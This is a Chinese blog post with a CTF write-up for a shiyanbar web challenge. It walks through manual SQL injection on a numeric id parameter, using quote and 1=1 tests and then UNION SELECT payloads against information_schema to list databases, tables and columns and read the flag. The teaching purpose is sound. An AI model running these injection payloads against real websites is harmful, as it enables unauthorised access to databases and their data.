0
点赞
收藏
分享

微信扫一扫

决斗场 - 实验吧 WEB 这个看起来有点简单!


题目链接:http://www.shiyanbar.com/ctf/33

决斗场 - 实验吧 WEB 这个看起来有点简单!_数据库

今天小编在写这道题题解的时候才发现,原来实验吧有这道题的视频讲解。看了一下,视频讲的不是很清楚,而且用的还是sqlmap进行注入的,那么小编这里还是用手工注入的角度来讲解一下这道题如何去注入。

这道题其实蛮简单的,点开题目,我们能看到一个疑似sql查找结果的表:

决斗场 - 实验吧 WEB 这个看起来有点简单!_单引号_02

看下URL,我们可以看到URL中传入id=1这个参数。

那么第一步,确定是否有注入,确定的方法当然是经典的单引号、1=1、1=2。

尝试发现这里是存在注入的,那么接下来我们开始爆数据库,爆表,爆字段。

首先是爆数据库:


union select 1,schema_name from information_schema.schemata

决斗场 - 实验吧 WEB 这个看起来有点简单!_字段_03


这里我们爆出的数据库,可以看到爆出my_db这个数据库。

接下来我们爆表:


union select 1,table_name from information_schema.tables where table_schema='my_db'

决斗场 - 实验吧 WEB 这个看起来有点简单!_数据库_04


爆出的表中我们可以看到thiskey,应该这就是我们要找的表。

然后是爆字段:


union select 1,column_name from information_schema.columns where table_name='thiskey'

决斗场 - 实验吧 WEB 这个看起来有点简单!_单引号_05


很明显这个k0y就是我们的目标字段。

最后查询这个字段得到我们的结果:


union select 1,k0y from thiskey

决斗场 - 实验吧 WEB 这个看起来有点简单!_数据库_06


因为这道题似乎没有对一些字段进行过滤,所以我们注入非常的轻松^v^。


这里回答一下上一次在"简单的sql注入"题解下面问我关于单引号的问题的那位同学。

我们在sql注入的时候,什么时候用单引号闭合的问题要根据实际情况进行分析,像这道题为什么没有用到单引号进行闭合呢?因为这道题的注入的参数类型是数字型,所以后台的查询应该是


Select * from 表名 where 字段=1

但是如果参数的类型是字符型,后台应该为:


Select * from 表名 where 字段=’字符’

所以只有遇到字符型的时候我们才需要用单引号进行闭合。








举报

相关推荐

0 条评论